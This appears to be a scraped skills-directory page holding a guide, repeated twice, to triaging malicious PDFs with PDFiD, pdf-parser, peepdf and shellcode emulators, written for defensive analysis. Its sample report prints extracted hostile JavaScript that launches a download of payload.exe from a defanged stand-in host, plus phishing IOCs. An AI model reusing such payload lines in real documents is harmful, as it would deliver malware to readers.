[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADRHAMB867P0X88S77VCFP":3,"skill-same:01M6ADRHAMB867P0X88S77VCFP":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6ADRHAMB867P0X88S77VCFP","analyzing-pdf-malware-with-pdfid",null,"Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-pdf-malware-with-pdfid\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"malware","analyzing pdf malware with pdfid","analyzing","pdfid","PDF","javascript","vector","malware analysis","static-analysis","triage","malware-analysis","document-malware","peepdf","cybersecurity","pdf-parser","suspicious","PDF-analysis","malicious","2026-11-10 10:12:30",false,"---\nname: analyzing-pdf-malware-with-pdfid\ndescription: 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to\n  identify embedded JavaScript, shellcode, exploits, and suspicious objects without\n  opening the document. Determines the attack vector and extracts embedded payloads\n  for further analysis. Activates for requests involving PDF malware analysis, malicious\n  document analysis, PDF exploit investigation, or suspicious attachment triage.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- PDF-analysis\n- document-malware\n- PDFiD\n- static-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1204.002\n- T1566.001\n- T1059.007\n- T1027\n---\n\n# Analyzing PDF Malware with PDFiD\n\n## When to Use\n\n- A suspicious PDF attachment has been flagged by email security or reported by a user\n- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code\n- Triaging PDF documents before opening them in a sandbox or analysis environment\n- Extracting embedded executables, scripts, or URLs from malicious PDF objects\n- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities\n\n**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.\n\n## Prerequisites\n\n- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`)\n- peepdf installed for interactive PDF analysis (`pip install peepdf`)\n- pdftotext from poppler-utils for extracting text content safely\n- YARA with PDF-specific rules for malware family identification\n- Isolated analysis VM without a PDF reader installed (prevent accidental opening)\n- CyberChef for decoding embedded Base64, hex, or deflate streams\n\n## Workflow\n\n### Step 1: Initial Triage with PDFiD\n\nScan the PDF for suspicious keywords and structures:\n\n```bash\n# Run PDFiD to identify suspicious elements\npdfid suspect.pdf\n\n# Expected output analysis:\n# \u002FJS           - JavaScript (HIGH risk)\n# \u002FJavaScript   - JavaScript object (HIGH risk)\n# \u002FAA           - Auto-Action triggered on open (HIGH risk)\n# \u002FOpenAction   - Action on document open (HIGH risk)\n# \u002FLaunch       - Launch external application (HIGH risk)\n# \u002FEmbeddedFile - Embedded file (MEDIUM risk)\n# \u002FRichMedia    - Flash content (MEDIUM risk)\n# \u002FObjStm       - Object stream (used for obfuscation)\n# \u002FURI          - URL reference (contextual risk)\n# \u002FAcroForm     - Interactive form (MEDIUM risk)\n\n# Run with extra detail\npdfid -e suspect.pdf\n\n# Run with disarming (rename suspicious keywords)\npdfid -d suspect.pdf\n```\n\n```\nPDFiD Risk Assessment:\n━━━━━━━━━━━━━━━━━━━━━\nHIGH RISK indicators (any count > 0):\n  \u002FJS, \u002FJavaScript  -> Embedded JavaScript code\n  \u002FAA               -> Automatic Action (triggers without user interaction)\n  \u002FOpenAction       -> Code runs when document is opened\n  \u002FLaunch           -> Can launch external executables\n  \u002FJBIG2Decode      -> Associated with CVE-2009-0658 exploit\n\nMEDIUM RISK indicators:\n  \u002FEmbeddedFile     -> Contains embedded files (could be EXE\u002FDLL)\n  \u002FRichMedia        -> Flash\u002Fmultimedia (Flash exploits)\n  \u002FAcroForm         -> Form with possible submit action\n  \u002FXFA              -> XML Forms Architecture (complex attack surface)\n\nLOW RISK indicators:\n  \u002FObjStm           -> Object streams (obfuscation technique)\n  \u002FURI              -> External URL references\n  \u002FPage             -> Number of pages (context only)\n```\n\n### Step 2: Parse PDF Structure with pdf-parser\n\nExamine suspicious objects identified by PDFiD:\n\n```bash\n# List all objects referencing JavaScript\npdf-parser --search \"\u002FJavaScript\" suspect.pdf\npdf-parser --search \"\u002FJS\" suspect.pdf\n\n# List all objects with OpenAction\npdf-parser --search \"\u002FOpenAction\" suspect.pdf\n\n# Extract a specific object by ID (example: object 5)\npdf-parser --object 5 suspect.pdf\n\n# Extract and decompress stream content\npdf-parser --object 5 --filter --raw suspect.pdf\n\n# Search for embedded files\npdf-parser --search \"\u002FEmbeddedFile\" suspect.pdf\n\n# List all objects with their types\npdf-parser --stats suspect.pdf\n```\n\n### Step 3: Extract and Analyze Embedded JavaScript\n\nPull out JavaScript code from PDF objects:\n\n```bash\n# Extract JavaScript using pdf-parser\npdf-parser --search \"\u002FJS\" --raw --filter suspect.pdf > extracted_js.txt\n\n# Alternative: Use peepdf for interactive JavaScript extraction\npeepdf -f -i suspect.pdf \u003C\u003C 'EOF'\njs_analyse\nEOF\n\n# peepdf interactive commands for JS analysis:\n# js_analyse          - Extract and show all JavaScript code\n# js_beautify         - Format extracted JavaScript\n# js_eval \u003Cobject>    - Evaluate JavaScript in sandboxed environment\n# object \u003Cid>         - Display object content\n# rawobject \u003Cid>      - Display raw object bytes\n# stream \u003Cid>         - Display decompressed stream\n# offsets             - Show object offsets in file\n```\n\n```python\n# Python script for comprehensive PDF JavaScript extraction\nimport subprocess\nimport re\n\n# Extract all streams and search for JavaScript\nresult = subprocess.run(\n    [\"pdf-parser\", \"--stats\", \"suspect.pdf\"],\n    capture_output=True, text=True\n)\n\n# Find object IDs containing JavaScript references\njs_objects = []\nfor line in result.stdout.split('\\n'):\n    if '\u002FJavaScript' in line or '\u002FJS' in line:\n        obj_id = re.search(r'obj (\\d+)', line)\n        if obj_id:\n            js_objects.append(obj_id.group(1))\n\n# Extract each JavaScript-containing object\nfor obj_id in js_objects:\n    result = subprocess.run(\n        [\"pdf-parser\", \"--object\", obj_id, \"--filter\", \"--raw\", \"suspect.pdf\"],\n        capture_output=True, text=True\n    )\n    print(f\"\\n=== Object {obj_id} ===\")\n    print(result.stdout[:2000])\n```\n\n### Step 4: Analyze Embedded Shellcode\n\nExtract and examine shellcode from PDF exploits:\n\n```bash\n# Extract raw stream data for shellcode analysis\npdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf\n\n# Analyze shellcode with scdbg (shellcode debugger)\nscdbg \u002Ff shellcode.bin\n\n# Alternative: Use speakeasy for shellcode emulation\npython3 -c \"\nimport speakeasy\n\nse = speakeasy.Speakeasy()\nsc_addr = se.load_shellcode('shellcode.bin', arch='x86')\nse.run_shellcode(sc_addr, count=1000)\n\n# Review API calls made by shellcode\nfor event in se.get_report()['api_calls']:\n    print(f\\\"{event['api']}: {event['args']}\\\")\n\"\n\n# Use CyberChef to decode hex\u002Fbase64 encoded shellcode\n# Input: Extracted stream data\n# Recipe: From Hex -> Disassemble x86\n```\n\n### Step 5: Extract Embedded Files and URLs\n\nPull out embedded executables and linked resources:\n\n```python\n# Extract embedded files from PDF\nimport subprocess\nimport hashlib\n\n# Find embedded file objects\nresult = subprocess.run(\n    [\"pdf-parser\", \"--search\", \"\u002FEmbeddedFile\", \"--raw\", \"--filter\", \"suspect.pdf\"],\n    capture_output=True\n)\n\n# Extract embedded PE files by searching for MZ header\nwith open(\"suspect.pdf\", \"rb\") as f:\n    data = f.read()\n\n# Search for embedded PE files\noffset = 0\nwhile True:\n    pos = data.find(b'MZ', offset)\n    if pos == -1:\n        break\n    # Verify PE signature\n    if pos + 0x3C \u003C len(data):\n        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')\n        if pos + pe_offset + 2 \u003C len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':\n            print(f\"Embedded PE found at offset 0x{pos:X}\")\n            # Extract (estimate size or use PE header)\n            embedded = data[pos:pos+100000]  # Initial extraction\n            sha256 = hashlib.sha256(embedded).hexdigest()\n            with open(f\"embedded_{pos:X}.exe\", \"wb\") as out:\n                out.write(embedded)\n            print(f\"  SHA-256: {sha256}\")\n    offset = pos + 1\n\n# Extract URLs from PDF\nresult = subprocess.run(\n    [\"pdf-parser\", \"--search\", \"\u002FURI\", \"--raw\", \"suspect.pdf\"],\n    capture_output=True, text=True\n)\nurls = re.findall(r'(https?:\u002F\u002F[^\\s\u003C>\"]+)', result.stdout)\nfor url in set(urls):\n    print(f\"URL: {url}\")\n```\n\n### Step 6: Generate Analysis Report\n\nDocument all findings from the PDF analysis:\n\n```\nAnalysis should cover:\n- PDFiD triage results (suspicious keyword counts)\n- PDF structure anomalies (object streams, cross-reference issues)\n- Extracted JavaScript code (deobfuscated if needed)\n- Shellcode analysis results (API calls, network indicators)\n- Embedded files extracted with hashes\n- URLs and external references\n- CVE identification if a known exploit is detected\n- YARA rule matches against known PDF malware families\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |\n| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |\n| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |\n| **FlateDecode** | Zlib\u002Fdeflate compression filter applied to PDF streams; must be decompressed to analyze contents |\n| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |\n| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |\n| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |\n\n## Tools & Systems\n\n- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document\n- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis\n- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction\n- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis\n- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls\n\n## Common Scenarios\n\n### Scenario: Triaging a Phishing PDF with Embedded JavaScript\n\n**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.\n\n**Approach**:\n1. Run PDFiD to confirm \u002FJS, \u002FJavaScript, and \u002FOpenAction presence and counts\n2. Use pdf-parser to extract the OpenAction object and follow its reference chain\n3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)\n4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)\n5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect\n6. Extract all URLs, IPs, and embedded files as IOCs\n7. Classify the sample: exploit (specific CVE) or social engineering (redirect\u002Fphishing)\n\n**Pitfalls**:\n- Opening the PDF in a standard reader instead of analyzing it with command-line tools\n- Missing JavaScript hidden inside Object Streams (\u002FObjStm) that PDFiD detects but simple parsers miss\n- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)\n- Assuming the absence of \u002FJS means no JavaScript; code can be embedded in form fields (\u002FAcroForm with \u002FXFA)\n\n## Output Format\n\n```\nPDF MALWARE ANALYSIS REPORT\n==============================\nFile:             invoice_2025.pdf\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Size:        45,312 bytes\nPDF Version:      1.7\n\nPDFID TRIAGE\n\u002FJS:              1  [HIGH RISK]\n\u002FJavaScript:      1  [HIGH RISK]\n\u002FOpenAction:      1  [HIGH RISK]\n\u002FEmbeddedFile:    0\n\u002FLaunch:          0\n\u002FURI:             2\n\u002FPage:            1\n\u002FObjStm:          1  [OBFUSCATION]\n\nSUSPICIOUS OBJECTS\nObject 5:        \u002FOpenAction -> references Object 8\nObject 8:        \u002FJavaScript stream (FlateDecode, 2,847 bytes decompressed)\nObject 12:       \u002FObjStm containing objects 15-18\n\nEXTRACTED JAVASCRIPT\nLayer 1:          eval(unescape(\"%68%65%6C%6C%6F\"))\nLayer 2:          var url = \"hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\";\n                  app.launchURL(url, true);\n                  \u002F\u002F Social engineering redirect, not exploit\n\nEXTRACTED IOCs\nURLs:             hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\n                  hxxps:\u002F\u002Ffake-login[.]com\u002Fadobe\u002Fverify\nDomains:          malicious[.]com, fake-login[.]com\n\nCLASSIFICATION\nType:             Social Engineering (URL redirect)\nCVE:              None (no exploit code detected)\nRisk:             HIGH (downloads executable payload)\nFamily:           Generic PDF Dropper\n```\n","# Analyzing PDF Malware with PDFiD\n\n## When to Use\n\n- A suspicious PDF attachment has been flagged by email security or reported by a user\n- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code\n- Triaging PDF documents before opening them in a sandbox or analysis environment\n- Extracting embedded executables, scripts, or URLs from malicious PDF objects\n- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities\n\n**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.\n\n## Prerequisites\n\n- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`)\n- peepdf installed for interactive PDF analysis (`pip install peepdf`)\n- pdftotext from poppler-utils for extracting text content safely\n- YARA with PDF-specific rules for malware family identification\n- Isolated analysis VM without a PDF reader installed (prevent accidental opening)\n- CyberChef for decoding embedded Base64, hex, or deflate streams\n\n## Workflow\n\n### Step 1: Initial Triage with PDFiD\n\nScan the PDF for suspicious keywords and structures:\n\n```bash\n# Run PDFiD to identify suspicious elements\npdfid suspect.pdf\n\n# Expected output analysis:\n# \u002FJS           - JavaScript (HIGH risk)\n# \u002FJavaScript   - JavaScript object (HIGH risk)\n# \u002FAA           - Auto-Action triggered on open (HIGH risk)\n# \u002FOpenAction   - Action on document open (HIGH risk)\n# \u002FLaunch       - Launch external application (HIGH risk)\n# \u002FEmbeddedFile - Embedded file (MEDIUM risk)\n# \u002FRichMedia    - Flash content (MEDIUM risk)\n# \u002FObjStm       - Object stream (used for obfuscation)\n# \u002FURI          - URL reference (contextual risk)\n# \u002FAcroForm     - Interactive form (MEDIUM risk)\n\n# Run with extra detail\npdfid -e suspect.pdf\n\n# Run with disarming (rename suspicious keywords)\npdfid -d suspect.pdf\n```\n\n```\nPDFiD Risk Assessment:\n━━━━━━━━━━━━━━━━━━━━━\nHIGH RISK indicators (any count > 0):\n  \u002FJS, \u002FJavaScript  -> Embedded JavaScript code\n  \u002FAA               -> Automatic Action (triggers without user interaction)\n  \u002FOpenAction       -> Code runs when document is opened\n  \u002FLaunch           -> Can launch external executables\n  \u002FJBIG2Decode      -> Associated with CVE-2009-0658 exploit\n\nMEDIUM RISK indicators:\n  \u002FEmbeddedFile     -> Contains embedded files (could be EXE\u002FDLL)\n  \u002FRichMedia        -> Flash\u002Fmultimedia (Flash exploits)\n  \u002FAcroForm         -> Form with possible submit action\n  \u002FXFA              -> XML Forms Architecture (complex attack surface)\n\nLOW RISK indicators:\n  \u002FObjStm           -> Object streams (obfuscation technique)\n  \u002FURI              -> External URL references\n  \u002FPage             -> Number of pages (context only)\n```\n\n### Step 2: Parse PDF Structure with pdf-parser\n\nExamine suspicious objects identified by PDFiD:\n\n```bash\n# List all objects referencing JavaScript\npdf-parser --search \"\u002FJavaScript\" suspect.pdf\npdf-parser --search \"\u002FJS\" suspect.pdf\n\n# List all objects with OpenAction\npdf-parser --search \"\u002FOpenAction\" suspect.pdf\n\n# Extract a specific object by ID (example: object 5)\npdf-parser --object 5 suspect.pdf\n\n# Extract and decompress stream content\npdf-parser --object 5 --filter --raw suspect.pdf\n\n# Search for embedded files\npdf-parser --search \"\u002FEmbeddedFile\" suspect.pdf\n\n# List all objects with their types\npdf-parser --stats suspect.pdf\n```\n\n### Step 3: Extract and Analyze Embedded JavaScript\n\nPull out JavaScript code from PDF objects:\n\n```bash\n# Extract JavaScript using pdf-parser\npdf-parser --search \"\u002FJS\" --raw --filter suspect.pdf > extracted_js.txt\n\n# Alternative: Use peepdf for interactive JavaScript extraction\npeepdf -f -i suspect.pdf \u003C\u003C 'EOF'\njs_analyse\nEOF\n\n# peepdf interactive commands for JS analysis:\n# js_analyse          - Extract and show all JavaScript code\n# js_beautify         - Format extracted JavaScript\n# js_eval \u003Cobject>    - Evaluate JavaScript in sandboxed environment\n# object \u003Cid>         - Display object content\n# rawobject \u003Cid>      - Display raw object bytes\n# stream \u003Cid>         - Display decompressed stream\n# offsets             - Show object offsets in file\n```\n\n```python\n# Python script for comprehensive PDF JavaScript extraction\nimport subprocess\nimport re\n\n# Extract all streams and search for JavaScript\nresult = subprocess.run(\n    [\"pdf-parser\", \"--stats\", \"suspect.pdf\"],\n    capture_output=True, text=True\n)\n\n# Find object IDs containing JavaScript references\njs_objects = []\nfor line in result.stdout.split('\\n'):\n    if '\u002FJavaScript' in line or '\u002FJS' in line:\n        obj_id = re.search(r'obj (\\d+)', line)\n        if obj_id:\n            js_objects.append(obj_id.group(1))\n\n# Extract each JavaScript-containing object\nfor obj_id in js_objects:\n    result = subprocess.run(\n        [\"pdf-parser\", \"--object\", obj_id, \"--filter\", \"--raw\", \"suspect.pdf\"],\n        capture_output=True, text=True\n    )\n    print(f\"\\n=== Object {obj_id} ===\")\n    print(result.stdout[:2000])\n```\n\n### Step 4: Analyze Embedded Shellcode\n\nExtract and examine shellcode from PDF exploits:\n\n```bash\n# Extract raw stream data for shellcode analysis\npdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf\n\n# Analyze shellcode with scdbg (shellcode debugger)\nscdbg \u002Ff shellcode.bin\n\n# Alternative: Use speakeasy for shellcode emulation\npython3 -c \"\nimport speakeasy\n\nse = speakeasy.Speakeasy()\nsc_addr = se.load_shellcode('shellcode.bin', arch='x86')\nse.run_shellcode(sc_addr, count=1000)\n\n# Review API calls made by shellcode\nfor event in se.get_report()['api_calls']:\n    print(f\\\"{event['api']}: {event['args']}\\\")\n\"\n\n# Use CyberChef to decode hex\u002Fbase64 encoded shellcode\n# Input: Extracted stream data\n# Recipe: From Hex -> Disassemble x86\n```\n\n### Step 5: Extract Embedded Files and URLs\n\nPull out embedded executables and linked resources:\n\n```python\n# Extract embedded files from PDF\nimport subprocess\nimport hashlib\n\n# Find embedded file objects\nresult = subprocess.run(\n    [\"pdf-parser\", \"--search\", \"\u002FEmbeddedFile\", \"--raw\", \"--filter\", \"suspect.pdf\"],\n    capture_output=True\n)\n\n# Extract embedded PE files by searching for MZ header\nwith open(\"suspect.pdf\", \"rb\") as f:\n    data = f.read()\n\n# Search for embedded PE files\noffset = 0\nwhile True:\n    pos = data.find(b'MZ', offset)\n    if pos == -1:\n        break\n    # Verify PE signature\n    if pos + 0x3C \u003C len(data):\n        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')\n        if pos + pe_offset + 2 \u003C len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':\n            print(f\"Embedded PE found at offset 0x{pos:X}\")\n            # Extract (estimate size or use PE header)\n            embedded = data[pos:pos+100000]  # Initial extraction\n            sha256 = hashlib.sha256(embedded).hexdigest()\n            with open(f\"embedded_{pos:X}.exe\", \"wb\") as out:\n                out.write(embedded)\n            print(f\"  SHA-256: {sha256}\")\n    offset = pos + 1\n\n# Extract URLs from PDF\nresult = subprocess.run(\n    [\"pdf-parser\", \"--search\", \"\u002FURI\", \"--raw\", \"suspect.pdf\"],\n    capture_output=True, text=True\n)\nurls = re.findall(r'(https?:\u002F\u002F[^\\s\u003C>\"]+)', result.stdout)\nfor url in set(urls):\n    print(f\"URL: {url}\")\n```\n\n### Step 6: Generate Analysis Report\n\nDocument all findings from the PDF analysis:\n\n```\nAnalysis should cover:\n- PDFiD triage results (suspicious keyword counts)\n- PDF structure anomalies (object streams, cross-reference issues)\n- Extracted JavaScript code (deobfuscated if needed)\n- Shellcode analysis results (API calls, network indicators)\n- Embedded files extracted with hashes\n- URLs and external references\n- CVE identification if a known exploit is detected\n- YARA rule matches against known PDF malware families\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |\n| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |\n| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |\n| **FlateDecode** | Zlib\u002Fdeflate compression filter applied to PDF streams; must be decompressed to analyze contents |\n| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |\n| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |\n| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |\n\n## Tools & Systems\n\n- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document\n- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis\n- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction\n- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis\n- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls\n\n## Common Scenarios\n\n### Scenario: Triaging a Phishing PDF with Embedded JavaScript\n\n**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.\n\n**Approach**:\n1. Run PDFiD to confirm \u002FJS, \u002FJavaScript, and \u002FOpenAction presence and counts\n2. Use pdf-parser to extract the OpenAction object and follow its reference chain\n3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)\n4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)\n5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect\n6. Extract all URLs, IPs, and embedded files as IOCs\n7. Classify the sample: exploit (specific CVE) or social engineering (redirect\u002Fphishing)\n\n**Pitfalls**:\n- Opening the PDF in a standard reader instead of analyzing it with command-line tools\n- Missing JavaScript hidden inside Object Streams (\u002FObjStm) that PDFiD detects but simple parsers miss\n- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)\n- Assuming the absence of \u002FJS means no JavaScript; code can be embedded in form fields (\u002FAcroForm with \u002FXFA)\n\n## Output Format\n\n```\nPDF MALWARE ANALYSIS REPORT\n==============================\nFile:             invoice_2025.pdf\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Size:        45,312 bytes\nPDF Version:      1.7\n\nPDFID TRIAGE\n\u002FJS:              1  [HIGH RISK]\n\u002FJavaScript:      1  [HIGH RISK]\n\u002FOpenAction:      1  [HIGH RISK]\n\u002FEmbeddedFile:    0\n\u002FLaunch:          0\n\u002FURI:             2\n\u002FPage:            1\n\u002FObjStm:          1  [OBFUSCATION]\n\nSUSPICIOUS OBJECTS\nObject 5:        \u002FOpenAction -> references Object 8\nObject 8:        \u002FJavaScript stream (FlateDecode, 2,847 bytes decompressed)\nObject 12:       \u002FObjStm containing objects 15-18\n\nEXTRACTED JAVASCRIPT\nLayer 1:          eval(unescape(\"%68%65%6C%6C%6F\"))\nLayer 2:          var url = \"hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\";\n                  app.launchURL(url, true);\n                  \u002F\u002F Social engineering redirect, not exploit\n\nEXTRACTED IOCs\nURLs:             hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\n                  hxxps:\u002F\u002Ffake-login[.]com\u002Fadobe\u002Fverify\nDomains:          malicious[.]com, fake-login[.]com\n\nCLASSIFICATION\nType:             Social Engineering (URL redirect)\nCVE:              None (no exploit code detected)\nRisk:             HIGH (downloads executable payload)\nFamily:           Generic PDF Dropper\n```\n",{"name":5,"tags":50,"author":52,"domain":40,"license":15,"version":53,"nist_csf":54,"subdomain":37,"description":59,"mitre_attack":60},[27,43,38,51,35],"PDFiD","mahipal","1.0.0",[55,56,57,58],"DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01","Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.\n",[61,62,63,64],"T1204.002","T1566.001","T1059.007","T1027","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fanalyzing-pdf-malware-with-pdfid",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-pdf-malware-with-pdfid",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-pdf-malware-with-pdfid",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-pdf-malware-with-pdfid","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-pdf-malware-with-pdfid\u002FSKILL.md",true,[89,94,100,104],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-pdf-malware-with-pdfid\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"package.json","REFERENCE","参考文档",871,"https:\u002F\u002Fgithub.com\u002Fnodetool-ai\u002Fnodetool\u002Fblob\u002Fmain\u002Fpackages\u002Fsandbox-packs\u002Fsandbox-jmespath\u002Fpackage.json",{"path":101,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fapi-reference.md",3465,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-pdf-malware-with-pdfid\u002Freferences\u002Fapi-reference.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",8303,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-pdf-malware-with-pdfid\u002Fscripts\u002Fagent.py",[111,138,162,190,216,243],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":118,"publishedAt":45},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission 